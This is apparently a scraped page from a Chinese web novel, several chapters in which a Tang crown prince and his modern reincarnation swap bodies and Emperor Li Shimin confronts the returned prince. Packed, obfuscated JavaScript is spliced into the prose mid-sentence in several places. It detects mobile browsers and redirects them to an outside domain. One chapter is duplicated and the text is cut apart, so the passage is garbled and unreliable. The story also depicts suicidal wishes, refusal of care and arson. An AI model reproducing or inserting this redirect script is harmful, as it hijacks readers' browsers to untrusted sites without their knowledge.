李世民笑道:“这个不用问,朕猜出来了。两邦和亲事宜由你主持,过来就是通知你,工匠是给不了的,你自己见机行事。” 真是个不走心的理由,这种小事哪里需要皇帝亲自来通知,张阿难不可以吗?东宫的太子詹事和三少哪个不能代为传话? 李承乾轻笑,“那就多带些佛经,诗书过去,至于能工巧匠,大唐之所以强大,在于得天下百姓之心,圣王不强人所难,若人家不愿意跋山涉水,皇帝也不能逼着人家背井离乡。臣想让杜荷辅助鸿胪寺负责接待,以及应付吐蕃提出的要求,他那张能言善辩的嘴巴,太适合邦国之间的外交了。” 李世民点头,于君王而言,谋逆之人不可留,可只要杜荷不再鼓动李承乾谋逆,留下杜荷也没什么。 “能记下这么多招式,你为什么不练?” 李承乾陷入震耳欲聋的沉默,“臣练过,可臣在武事方面,似乎没有任何天分可言,一招一式都在心间,可臣做出来的动作,直接用不堪入目来形容。” 李世民:…… “看样子,你上战场那么多次,每次都折在冲锋之中,不是没有原因的。” 谈到这个话题,李承乾也很苦恼,“我爸喜欢这些东西,隔三差五打军体拳,每天早上天不亮起床打太极拳,他的八极拳打的也不错,还练过散打。论起单兵素质,他在一众军人里头,是数一数二的好手。” “学识渊博,还有一身的好功夫,这样的人才放在当下,朕能给他封侯拜相,放在后世竟然只是一个小吏,你们后世对人才的要求是真高啊!” 李承乾垂眸轻笑,不参与这个话题讨论。 “高先生这一身拳脚功夫,他要是能过来,朕真是想好好会一会他。” 皇帝说话的声音很平和,但李承乾听出了几分咬牙切齿的味道,“臣的情况特殊,幼年很难与同龄人相处到一起,我爸担心我是受了欺负,导致性格阴郁。他总给臣说得一句话,受了欺负要说,阳光不能普照每一寸阴暗,非必要的时候,他那一身拳脚功夫会为臣和妈妈要一个公平。” 李世民轻笑,“是个顶天立地的真男人,不过你要觉得他可以同朕一较高下,那你真的要失望了,他来自未来又如何?他有一身超越这个时代的学识又如何?记住一句话,这是朕的时代,朕才是那个制定游戏规则的人。 高先生要是真的来了,愿意为朕效力不失封侯之赏,不愿意为朕效力好好儿藏起来也没什么问题,但凡敢让朕烦心,朕就可以让他消失。他就是再强,也总有筋疲力尽的时候,杀一个人,于朕而言从来都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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想死 有李象照看,李承乾十分放心,叫宫人找了伞,原路回显德殿换衣裳。 “李承乾,你那个小胳膊小腿,弱不禁风的身子,你不要命了吗?” 李世民迎面过来,又急又气,恨不能直接踹上几脚,可一看李承乾湿漉漉的一身水,忍下了想要**的冲动。 李承乾将伞交给吴安,躬身向皇帝行礼,“臣怕秧苗被雨打坏了,一时情急。” “赶紧回去换衣裳。” 李承乾应下,跟在皇帝身后,径自往显德殿的方向去。 “那些秧苗,在朕心里,不及承乾万一。” 李承乾道:“臣行事,要么不接手,但凡应下,必定有始有终。” “看你气定神闲的样子,那些秧苗要么无事,要么就是被雨给毁了。” 李承乾轻笑,皇帝真是越来越了解他了。 “象儿住在宜春殿,跟宜春苑就一墙之隔,臣去的时候,他已经指挥宫人把试验田盖上了,臣去看了一眼,有惊无险。” “象儿这个孩子,不枉费你疼他一场。” 李承乾点头,“昨日臣查秧苗时,象儿就在身边,臣随口一句话:害怕突降骤雨或者冰雹,象儿就记住了,还帮了臣这么一个大忙。 象儿是个极其聪慧的孩子,他知道自己的出身,不可能在朝堂上大展身手,所以就想着做了清闲王爷,不给臣惹事。 后来臣教他算学,他看到臣精于机巧物理,就转攻自然科学,孔孟治国之道他浅尝辄止,从不深究。 他不是与世无争之人,他是对现实有了清醒认知,给自己谋划一条,最适合自己的路。实现他作为人的价值,还能不引火烧身。” 李承乾不禁自嘲,李象和李厥,都是好孩子。他本是荒唐之人,一棵歹竹,竟生了一窝好笋子,怎么不叫人啼笑皆非。 “天不佑朕,生了你们这一堆逆子,没一个让朕省心的。” 字典编完之后,李承乾又搬回显德殿,换了干衣裳,才出来,就见宫人端来满满一大碗姜汤下去。 李承乾脸上瞬间多了一副痛苦面具,可皇帝盯着,他也只能捏着鼻子喝。 一场大雨淋得,哪怕迅速换了衣服,灌了姜汤下去,李承乾仍然病倒了,当夜睡下就起了高热。 御医马不停蹄到东宫,上一次太子起热风寒,没有及时上报,遭到了皇帝的责罚。吴安和吴顺二人再不敢耽搁,第一时间遣宫人候在甘露殿禀报皇帝。 李世民正要就寝,张阿难进殿禀报,东宫内侍总管遣了宫人过来通报,李承乾起了高热。 风寒来势汹汹,李承乾昏沉躺在榻上,恍惚之间魂魄抽离身体,不受控制的向上飘,又很快被身体拉了回去。 李承乾迷迷糊糊睁开眼睛,那种感觉,就是出意外时的感觉,眼睛一睁一闭,他就来了这里。 是不是,只要**,他就可以回去? 吴顺端了汤药进来,李承乾不想喝,默默别开脑袋,扯了被子蒙住脑袋。 李世民进来正好看到这一幕,李泰和李治吃药会说苦,闹着要他哄,李承乾从来都是一饮而尽,魏征那老小子果然带坏了李承乾。 “你师傅药吃一口倒一碗,你是一口都不吃。” 皇帝来了,李承乾扒拉开被子起身行礼。 “躺着,别动了。” 李世民近前,接了宫人手里的药,在榻边落座,“扶太子起来吃药。” 李承乾眼下哪里肯吃药,直接拒绝了宫人搀扶,继续蒙上被子睡觉。脑子里只有一个想法,**,就可以回去了。 李世民轻笑,李承乾也被宠的娇气了,吃个药都要人哄。 “不知道爱惜身体,就要吃这个苦头。”李世民将被子扒拉开,拍拍李承乾背心,“起来,阿耶喂你吃。” 李承乾翻了个身,滚到床榻里侧,“父亲,臣不想吃。” 李世民一个眼神驱散了宫人,将药放在小案上,“不吃药身体怎么会好?多大了,还闹这个脾气?” 闹脾气? 李承乾只觉得莫名其妙,他吃药什么时候哭哭啼啼闹过脾气? “臣不想吃。” 李世民有些无奈,伸手去扒拉李承乾,“不想吃也要吃,二十多了人了,吃个药闹脾气,不嫌羞。” “不吃!” 听出了李承乾语气中的不耐烦,李世民皱了皱眉,李承乾不是在闹脾气,是真的不想吃药。 “魏征吃一口倒一碗,那是他命硬,你可没有他那么糙。” 李承乾不为所动,捂着脑袋说什么都不肯吃。 李世民强行拎了李承乾转过身来,李承乾下意识反抗,但武力值悬殊,何况他发热身上没力气,更是半点反抗的余地都没有。 “臣不吃,陛下您就那么喜欢强迫人做事吗?” “吃药和挨打,你选一个。” 李承乾脑子昏沉,却听清楚了挨打两个字,古代风寒很容易要人命,皇帝再给他一顿鞭子,伤口感染他就死的更快了,可以早点回去了。 “马鞭在多宝阁上,陛下让人去取。药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李象进来,躬身向皇祖与父亲请过安,地上七零八落的碎瓷片很难让人忽视。 李承乾脸不红,心不跳,说话语气平静到仿佛刚才什么都没发生过,“为父病了,手上没有力气,弄得到处都是乱糟糟的,你小心些,别踩到瓷片了。这么晚了,快些回去睡觉,小孩子家家的别熬夜。” 李象近前,像个做错事的孩子,低声道:“吴内侍说阿耶高热,他们喂不进药,儿不放心,就过来了。” 活祖宗得小祖宗治,真是个机灵的内侍,李世民心下十分赞赏。 第144章 又被抛弃了 看到李世民这副样子,李承乾只觉得痛快至极。 “你可以滚了,我等着你废太子和赐死的诏书。” 言罢,李承乾躺在榻上,背对着李世民。 “承乾,你可以恨阿耶,但请你务必好好吃药,吃东西,别糟蹋你的身体。” 李承乾冷笑,“一个孤魂野鬼占了我的身子,你知道却选择放任,是因为有利可图吧?要我保重身子,盼着高明回来吗?榨干他的价值,再找桃树枝子来,一把火烧死他,给你的青雀雉奴让位置吗?” 李世民含泪道:“承乾,高明他不是孤魂野鬼,他是你的转世,你们是一个人。” 李承乾哈哈一笑,转过身子看着父亲,“转世了,还是一个人吗?他给了你多少好处的确不少,能让你这么念着他?我说你恶心不恶心?要不要脸?自己儿子教不好,逮着着别人儿子祸害?” 李世民道:“你和他是一个人,都是承乾,是阿耶的儿子。” “嘴巴长在你身上,你爱怎么说怎么说。” 说完,李承乾重新背过身子,父亲一走,他就直接放过烧显德殿,这副身体化成灰,他的转世才能安全。 “承乾,阿耶知道你恨阿耶,可是阿耶求你,别伤害自己的身体。” 李承乾仿佛听到了什么好笑至极的笑话,“父亲,听你这意思,高明自己抽了自己鞭子?我这转世蠢成这样吗?这种蠢货你还那么宝贝?” “够了!”李世民怒喝一声,指着李承乾道:“你这个孽障,你才是蠢货,高明他不是。” “哈哈……哈哈哈……”李承乾笑的前仰后合,全然不顾身上鞭伤的疼痛,“一个孤魂野鬼,他说他是我的转世,他就是了?我是蠢货,如果他真的是我的转世,他不也是蠢货?我是蠢货,那你是什么?小蠢货的大蠢货父亲吗?” “李承乾!”李世民气急,上前一把掐住李承乾的脖子,“你再敢造次,朕打死你。” 有这等好事?李承乾乐呵的不行,“那么麻烦干什么?你直接掐断我脖子不就行了?你快点,快点啊!” 李承乾眼底的跃跃欲试,刺痛了李世民的心,他蓦的松开手,“你在那里待了多久?” “三年两个月,有半年躺在病床上,享受别人父母无微不至的照顾。还有两年多,哪怕高家父母知道我不是高明,是个孤魂野鬼,也仍然把我当高明养着。我真羡慕高明,他的爸爸和妈妈为了救他回去,都研究起风水玄学了。” 说到这里,李承乾眼泪不受控制的往下落,又换回来了,或许就是高家爸妈的手笔,他又被抛弃了。 不,他本就不是高家的孩子,一个孤魂野鬼,投了人家几年的人生,就以为自己可以以假乱真了。 高家爸妈,只是想要回自己的儿子,又有什么错呢?这个东宫,合该他这种烂人在这里腐烂发臭。 “所以,是高家父母把你们换回来了。” 李承乾身上的尖刺瞬间软了下来,蜷缩在榻上哭的泣不成声。 “我爸说他会想办法来这里带着高明回去,他骗了我,他把我送回来了,我知道我是个小偷,我偷了属于高明的一切,我可以还回去的,我可以主动回来的,为什么要骗我……我可以自己体面离开,为什么要抛弃我……” 李世民心里不是滋味,想上前去安慰,又不知道从何启齿,他的承乾,对高家父母感情太深了。 “我躺在病床上,他们日夜陪护照顾,我的腿不好,他们一步步搀扶,我乱发脾气,他们连脸都没红一下。他们没有把我当做高明的替身,尊重我所有的喜好,还给我请长假,带我出去玩儿。 还有老舅,他带我去澳洲抱考拉,去北美抱浣熊,带我去阿尔卑斯堆雪人。我以为,他们真的把我当成高家的孩子了。 我知道我不是高家的孩子,我一直都知道……我可以自己走的……为什么要不声不响的抛弃我……为什么……为什么……” 李世民深吸一口气,上前在床榻前坐下,“你还是太子,承乾,阿耶不会再让任何人伤害你了,阿耶不会抛弃你的。” “滚!”李承乾翻身坐起来,仿佛被踩中尾巴的猫,瞬间炸毛,“谁稀罕做你的太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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青雀,雉奴,一听就是亲兄弟,我呢?我是什么?我没有乳名,我们三兄弟,就我没有乳名,我是你的儿子,只是血缘上的儿子。阿娘疼我多一些,大概也是知道我只是你血缘上的儿子,可怜我。” 第144章 又被抛弃了 看到李世民这副样子,李承乾只觉得痛快至极。 “你可以滚了,我等着你废太子和赐死的诏书。” 言罢,李承乾躺在榻上,背对着李世民。 “承乾,你可以恨阿耶,但请你务必好好吃药,吃东西,别糟蹋你的身体。” 李承乾冷笑,“一个孤魂野鬼占了我的身子,你知道却选择放任,是因为有利可图吧?要我保重身子,盼着高明回来吗?榨干他的价值,再找桃树枝子来,一把火烧死他,给你的青雀雉奴让位置吗?” 李世民含泪道:“承乾,高明他不是孤魂野鬼,他是你的转世,你们是一个人。” 李承乾哈哈一笑,转过身子看着父亲,“转世了,还是一个人吗?他给了你多少好处的确不少,能让你这么念着他?我说你恶心不恶心?要不要脸?自己儿子教不好,逮着着别人儿子祸害?” 李世民道:“你和他是一个人,都是承乾,是阿耶的儿子。” “嘴巴长在你身上,你爱怎么说怎么说。” 说完,李承乾重新背过身子,父亲一走,他就直接放过烧显德殿,这副身体化成灰,他的转世才能安全。 “承乾,阿耶知道你恨阿耶,可是阿耶求你,别伤害自己的身体。” 李承乾仿佛听到了什么好笑至极的笑话,“父亲,听你这意思,高明自己抽了自己鞭子?我这转世蠢成这样吗?这种蠢货你还那么宝贝?” “够了!”李世民怒喝一声,指着李承乾道:“你这个孽障,你才是蠢货,高明他不是。” “哈哈……哈哈哈……”李承乾笑的前仰后合,全然不顾身上鞭伤的疼痛,“一个孤魂野鬼,他说他是我的转世,他就是了?我是蠢货,如果他真的是我的转世,他不也是蠢货?我是蠢货,那你是什么?小蠢货的大蠢货父亲吗?” “李承乾!”李世民气急,上前一把掐住李承乾的脖子,“你再敢造次,朕打死你。” 有这等好事?李承乾乐呵的不行,“那么麻烦干什么?你直接掐断我脖子不就行了?你快点,快点啊!” 李承乾眼底的跃跃欲试,刺痛了李世民的心,他蓦的松开手,“你在那里待了多久?” “三年两个月,有半年躺在病床上,享受别人父母无微不至的照顾。还有两年多,哪怕高家父母知道我不是高明,是个孤魂野鬼,也仍然把我当高明养着。我真羡慕高明,他的爸爸和妈妈为了救他回去,都研究起风水玄学了。” 说到这里,李承乾眼泪不受控制的往下落,又换回来了,或许就是高家爸妈的手笔,他又被抛弃了。 不,他本就不是高家的孩子,一个孤魂野鬼,投了人家几年的人生,就以为自己可以以假乱真了。 高家爸妈,只是想要回自己的儿子,又有什么错呢?这个东宫,合该他这种烂人在这里腐烂发臭。 “所以,是高家父母把你们换回来了。” 李承乾身上的尖刺瞬间软了下来,蜷缩在榻上哭的泣不成声。 “我爸说他会想办法来这里带着高明回去,他骗了我,他把我送回来了,我知道我是个小偷,我偷了属于高明的一切,我可以还回去的,我可以主动回来的,为什么要骗我……我可以自己体面离开,为什么要抛弃我……” 李世民心里不是滋味,想上前去安慰,又不知道从何启齿,他的承乾,对高家父母感情太深了。 “我躺在病床上,他们日夜陪护照顾,我的腿不好,他们一步步搀扶,我乱发脾气,他们连脸都没红一下。他们没有把我当做高明的替身,尊重我所有的喜好,还给我请长假,带我出去玩儿。 还有老舅,他带我去澳洲抱考拉,去北美抱浣熊,带我去阿尔卑斯堆雪人。我以为,他们真的把我当成高家的孩子了。 我知道我不是高家的孩子,我一直都知道……我可以自己走的……为什么要不声不响的抛弃我……为什么……为什么……” 李世民深吸一口气,上前在床榻前坐下,“你还是太子,承乾,阿耶不会再让任何人伤害你了,阿耶不会抛弃你的。” “滚!”李承乾翻身坐起来,仿佛被踩中尾巴的猫,瞬间炸毛,“谁稀罕做你的太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第145章 五个月之期 李世民强撑着身子回到甘露殿,吩咐张阿难,“命玄甲军守住东宫,任何人不得随意出入,对外只说太子突发恶疾,不能见人。” 又要禁足太子,张阿难于心不忍,“陛下……” “朕知道你是忠言逆耳,现在是非常之时,朕不得已而为之。阿难,太子的衣食你亲自负责,务必妥帖。” 皇帝面色坚决,张阿难知道劝不住,只能领命退出甘露殿。 显德殿 李象照常去请安,李承乾让人把李象叫了进去,李象的儿子,把他迁回母亲身边了。 父亲不似往日儒雅温和,周身气息阴冷暴戾,李象的心揪到了一起,酸胀无比,痛的直打颤。 阿耶走了,回来的是父王。 “你来做什么?” 李象忍住眼泪,行了礼,“父王让儿看的算术和算学,儿有几处不太懂。” 算术,高明的大学专业,数学与应用数学。 “这一场大病,我看不懂算术题了。” 李象心中仅存的一丝希冀,被彻底浇灭,他忍着热泪拜过父亲,“儿知道了,往后不拿这些来烦父王。” 李承乾背对着李象,眼底翻涌出热泪,强压住情绪,“对不起,我教不了你,你回去吧。” 李象退出显德殿,忍了许久的眼泪翻涌而出,他应该为父亲开心,父亲终于回到了那个时代,父亲那么好的人,他应该回到那个美好的地方。 甘露殿当夜请了御医,东宫被玄甲军守得密不透风,朝野上空惴惴之气弥漫。 李世民离开之后,李承乾放火烧了一把显德殿,但很快就被赶来的玄甲军扑灭,他本人也被控制起来。 得知消息,李世民不顾头疾,从甘露殿赶到东宫,当即让人找了镣铐,将李承乾锁了。 “承乾,你知道这一把火若没能及时浇灭,会有多少人无辜丧命?你们分明是一个人,为什么差别这么大?承乾,你知道吗?你的转世,高明,他是一个心怀悲悯的人,他那样想要逃离这里,自始至终也没有伤害任何人。 高明不喜欢这里,却依然用他的学识去改变这个时代,让大唐更加的繁荣昌盛。你知道吗?他在宜春苑开试验田,他明知成功的可能性微乎其微,仍然原以为大唐的百姓培育新的稻种。” 李承乾听罢这一番话,只觉得无比讽刺,“他那么好,父亲你还动马鞭?马鞭,还不是正经鞭刑,你把他当牲口,所以你在我面前深情厚谊什么?怀念牲口?你的品味真是独特,佩服!” “你……”李世民被他堵的胃里传来阵阵抽痛,“承乾……” “喵~喵~” 小狸花从窗户跳了进来,径直向李承乾过去,李承乾一把将毛茸茸的小家伙搂在怀里,手感真不错。 “高明养的?言官都不骂的吗?孔颖达呢?于志宁呢?没有上疏吗?” 李世民道:“这是朕给承乾得。” 李承乾的心瞬间被撕破了一道口子,松开了小狸花,“怪不得呢!” “承乾,言官言辞过激,可你要是收敛些许,朕……” “我要怎么收敛?我奢侈享乐,有李泰的芙蓉园奢侈?我一个月几个子儿你心里没点儿数?你去洛阳玩儿,我给你献食都要变卖东宫份例,我实在是太奢侈了。” 李承乾摇了摇手上的镣铐,笑眯眯的说:“你不就是想用我这副身体借尸还魂,把高明换过来吗?别做梦了,你最好就这么永远锁着我。” “听宫人说你昨天醒来至今,药没吃一口,饭也不吃,水也不喝。” “与你什么相干?”李承乾目光怅然,“你从前不怎么来东宫的,往后也不用来,我就是**,收尸也不要你收。” “太子妃有孩子了,她陪你颠沛流离,一路到黔州,你对她一点感情都没有吗?” 李承乾冷笑,“感情?父亲,你在开什么玩笑?咱们李家一脉相承的狼心狗肺,跟李家人谈感情,天大的玩笑。” “她有了你的孩子,你可以不认可高明作为你的转世,可她腹中的孩子,是你这副身体留下的。” 李承乾笑的更欢,“父亲,咱们老李家囚父亲,杀兄弟,抛糟糠,宰儿子,**和吃丹药,是优良传统,我这种烂人,指不定生出什么歹竹出来,认了如何?不认又能如何?” 李世民身子有些不稳,李承乾甩了个白眼过去,“身体不好离我远点儿,我很晦气的。” “承乾,你就非要气死为父不行吗?” 李承乾道:“你讲点儿道理,我都被锁起来了,没去你的甘露殿,什么叫做我非要气死你,别什么帽子都往我头上扣。” “高明来这里三年,你知道他做了多少的事情吗?” 李承乾看向李世民,十分不解的问:“我当然不知道,按照我爸说得那个意思,我和高明可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480686|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能两个平行时空互换,我所在的时空根本查不到当下的历史。” “什么是平行时空?” 李承乾道:“我也问过我爸,他说一个物理学假设,大致就是时间和空间相对静止,同一个人做出不同的决策,分别处于多个时空,收获不一样的结果。” 李世民点头,“高先生在研究这些?” 李承乾陷入缄默,答案是肯定的,他的直觉告诉他,无论是他还是高明,爸妈都不会抛弃,可他确实被送回来了。 “高先生起初是打算来这里,带着高明离开?” 李世民脸色阴的下人,姓高的,拐带他的儿子,士可忍,孰不可忍。 “我爸现在应该不会研究了,高明回去了,他的孩子回去了,我只是一个小偷,回到了自己该回的地方,慢慢等待发烂发臭。” 李世民上前一步,蹲下身子,“承乾,听阿耶的话,好好吃药进膳。你的委屈阿耶都知道,阿耶不会再让悲剧重复了。你不需要同高明那样博学多才,你只要做好贞观十三年前的太子,阿耶就能保证你平稳登基,成为大唐新皇。” 李承乾冷笑一声,“我现在最大的委屈就是活着。” “朕不能一直把你关在东宫,你就是想要同朕一较高下,也要打起精神。” 李承乾苦笑,“父亲,我很佩服高明,来这里竟然没疯,可我不是他,回到这里,比我从太子变成囚徒还要令我绝望千百倍。我没心情跟你一决高下,现在只想死,离开这里。” “承乾,距离八月制考还有五个月,为父给你五个月的时间,五个月如果你还是不愿意留在这里。那么,朕也只有赐你一死,对外就是太子暴毙。朕不能一直锁着你,但未来五个月,朕可以锁着你,灌药灌你吃食。承乾,就算死,你总要给自己些许体面吧?当是报答高家父母对你那八年多的疼爱,你也要给高明一个体面。” “当真?”李承乾灰暗的眸子瞬间亮起光来,“五个月后,我不愿意留在这里,我们好聚好散?” 李世民点点头,言罢,他强撑着身子走出显德殿,“阿难,太子之前递交给朕的策论,抄录一份送给太子,还有《贞观字典》,也送一份给太子。” 起初以为是父亲缓兵之计,但在看到这一堆策论和那一本厚厚的字典,李承乾明白了,高明在这里成就,他只能活得体面,死的体面,才能把对朝廷的影响降到最低。 第146章 应该回去 东宫突然被封,朝野一片议论,李世民看着案牍上的一堆奏疏,《贞观字典》第一批才刊印出去,主持编撰的太子李承乾疯了。 世家大族笑话都还是其次,他们父子之前就剑拔**张,他又抬举过李泰,还成功让朝野以为他想易储,开始下注站队。 朝野会如何揣测太子的疯? 又会带来怎样恶劣的影响? 相较李世民焦头烂额,成功回到现代的李承乾,日子过得不要太舒服。此前互换,他“记忆全失”递交了长假申请,又因心理精神疾病,直接喜提无上限带薪病假。 穿回去三年多,现代却只过了一年多,李承乾大胆揣测,平行时空内两个自己互穿,时间点多半是不固定的。 人总有些执念,他的稻种培育无疾而终,高明喜欢有始有终,多回来之后逮着农业相关的书籍,还在花园里开一块土地,准备给他种的那一季稻子无疾而终的稻子划一个句号。 大唐的牛马生活,让高明有些ptsd,回来的第一件事情就是辞职,公职人员辞职比较麻烦,但他又不涉及什么机密,且“他”有严重精神病,又“记忆全失”无法胜任工作,前后拖了一个多月,总算是给批下来了。 高明的直系亲属对此没有任何异议,祖父高润老爷子觉得,就高明现在这个生活水平,他的专利一年分红够孙子吃五年,没必要去上班。 高柏和高家祖母觉得,就算不工作,每年收租也够高明生活无忧。付潆有公司三成股份,她三十天的收益高明吃三年。 李世民做了一个漫长的梦,梦醒之后,他再次来到显德殿,李承乾情绪已经稳定了许多,不说话的时候和另一个承乾倒是颇为相似。 “你有没有梦见他?朕梦见他了,去图书馆看书,参观什么种植基地,上网查阅资料,还出国跟一群金发碧眼的外国人参观种植基地。承乾,你知道吗?你之前在宜春苑的秧苗,长得特别好。” 李承乾合上字典,撸着怀里的小狸,“那不是我种的,你跟我说这些没用,我最多能看懂他这些策论还有这本字典,其它的我都是一团浆糊,不,浆糊好歹有东西,我连浆糊都不是。” “他说他是你的转世,你们是一个人。” 李承乾哈哈一笑,“那又如何?我跟他生活的环境根本就不一样,一颗种子落在不同的土地,长出来的苗子是不一样的,贫瘠的土地开不出盛世的花。他在这里所有的成就,都是那个时代顶尖教育的结果,跟你没有任何关系。你只是摘果子,不是种果子,心里一点儿数都没有。” “你刚才翻阅字典的样子,真的很像一个人。” 李承乾道:“你喜欢看书的儿子是李泰,别在我这儿感慨那些乱七八糟的东西,想找安慰去魏王府,东宫不欢迎你。” 李世民道:“你们,是怎么换回来的?” 李承乾眸子眯了眯,迸发出幽深的冷意,魂魄是人意志的一种,平行时空之内,身体极度虚弱,无法主宰意志,魂魄抽出离身体。 第一次互换他在黔州死亡,高明出了车祸意外。这一次互换,他救儿子跌下楼梯,高明在这里发热还被打的半死。 互换的前提条件,必定有身体无法主宰魂魄的缘故,还有其他什么条件,他就不知道了。他在未来待了八年多,高明在这里待了三年多才等来这么一个机会,下一次就不知道什么时候了。 “怎么?想把我们换回去!我告诉你,你**那条心吧!高明有没有告诉你,你的儿孙都是什么下场吗?” 李世民摇摇头,李承乾面露嘲讽之色,“呸!下次别说他是我转世,竟然没告诉你,你那失败的教育成果。我、青雀、雉奴我们三个就不提了,丽质和兕子死的早也不提了,新城抑郁而终,传闻被驸马家暴,不过也有可能是李治找借口清理京兆韦氏,城阳玩儿巫蛊。反正,你那一堆儿女善终的也就那一两个。” 胃又开始疼了,李世民扶着凭几落座,心口可见的起伏,李承乾尤觉得不够,继续说:“你知道吗?安史之乱,你的大唐从万国来朝到四夷可欺。 回鹘洗劫长安洛阳两京,大食兵从长安一路南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483018|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,在广州烧杀抢掠,把广州变成人间地狱。国都六陷,天子九迁,大臣和宦官争权,拿皇帝当人质。 父亲,您下次可别说人家东汉宦官当权乱政,你们老李家到了后面,宦官有多厉害你知道不?一言不合直接换皇帝,从登基到送终,事情办的叫一个漂亮妥帖。” 李世民呼吸急促,捂着胸口直咳嗽,地上骤然多了一摊殷红。 喘的提不上来气,李世民缓了半晌,才稍稍觉得好些,“《贞观字典》的庆功宴,你能不能跟着一起参加?” 李承乾撸着小狸,神色愉悦,很是享受,“不能,我自己几斤几两,我可太清楚了,我没有高明的学识,很容易被拆穿。况且,我和高明完全两份气度,连李象都瞒不过,更不消说朝廷那群老狐狸了。” 李象! 李世民起身离开,不打算继续和李承乾废话,张阿难在显德殿在候着,看皇帝踉跄出门,急忙上前去搀扶。 “走,去宜春殿。” 父亲离开了,可父亲的秧苗还在,李象小心照看着,秧苗一日日长大,他的脸上逐渐浮起一抹化不开的愁绪。 李象不在宜春殿,李世民问过宫人之后,径自到宜春苑,果然见李象站在试验田前发呆。 李世民驱散了宫人,免了李象的礼数,“你阿耶的事情,你都知道了吗?” 听皇祖的话,皇祖是知道内情的,李象点点头,“母亲有了弟弟之后,阿耶怕孙儿怨他疼爱弟弟,不像从前那样疼爱孙儿,一早就告诉孙儿了。” “你想你阿耶吗?” 李象点头,“想!” 那么好的阿耶,他怎么可能不想? “想他回来吗?” 李象摇头,“不想。” 李世民不解,“为什么?他对你不好吗?” 李象忍不住落泪,“阿耶对孙儿很好,好到孙儿可以为阿耶**。可阿耶在这里活得不开心,他那么温和儒雅,像玉一样温润,那么美好又那么易碎,他应该回去他的时代,去过属于他的生活。” 第147章 烂摊子 “象儿,你还小,容易感情用事。你阿耶,他留在这里,才是最好的。” 李象点头,“对阿翁而言,阿耶留在这里是最好的,对阿耶而言留在这里就是一种痛苦。” “象儿,你知道你阿耶留下的烂摊子有多大吗?” 李象抿唇不语,知道,一个德才兼备的太子就这么疯了,皇祖必须要给朝野一个交代。 父王精神状态疯的不得了,编撰《贞观字典》的太子无论疯了还是暴毙,皇祖都要受到非议。 “孙儿不会人工授粉,也不知道人工授粉是什么。阿耶种下的秧苗,孙儿只能好好照顾它们,能做的只有看着它们长大。” 李世民揉了揉李象后脑勺,神色凝重,“你阿耶甩过来的烂摊子,可不止这三方试验田,阿翁现在……” 今日受到的刺激太大了,话音未落,李世民人就倒地上了,李象赶紧去叫守在外面的张阿难。 一众宫人手忙脚乱将皇帝抬上歩辇,甘露殿又召了御医。 皇帝一连数日不朝,东宫被玄甲军围的水泄不通。 朝野上空一片阴云密布,长孙无忌终于坐不住了,进宫求见李世民。 “辅机是为了东宫的事情而来?” 长孙无忌点头,“陛下称病不朝,又令玄甲军封禁东宫,大臣们递上来的奏疏也不回应,臣府邸日日都有人造访。” 李世民歪在床榻上,眼睛凹陷的厉害,嘴唇干裂惨白,双颊却显现出病态的红。 “朕称病是真的病了。” 长孙无忌点头,看得出来,病得不轻。 “陛下有疾是真,太子呢?” 李世民无奈叹气,此太子非彼太子,他哪里敢把东宫那个太子放出去? “《贞观字典》发行,太子却被封禁在东宫,眼下朝臣们都在猜,陛下是否又要扶持魏王。” 李世民捶榻大怒,“混账。” “大臣们固然混账,陛下在处理太子的问题上也过于儿戏了,一国储君,没有一个正当的理由直接封禁,放在哪儿都说不过去。” 李世民心里苦,一肚子的委屈无处诉,“那你说,现在该怎么做?” 长孙无忌默了默,皇帝这是明知故问,“解禁东宫,问题就解决了大半。大臣们纵有疑惑,可只要陛下与太子保持统一口径,一切就迎刃而解。” 解禁东宫,李世民哼出一股冷气,“太子的病来势汹汹,东宫封禁不可能解除,换别的法子。” “送青雀就藩,可解一时之困。” 李世民凝眸,眼底射出一道凌厉的寒光。 “此事朕有分寸,辅机你先下去。” 有分寸能搞这么大的事情出来,长孙无忌无声叹气,李世民现在行事是越来越任性了。 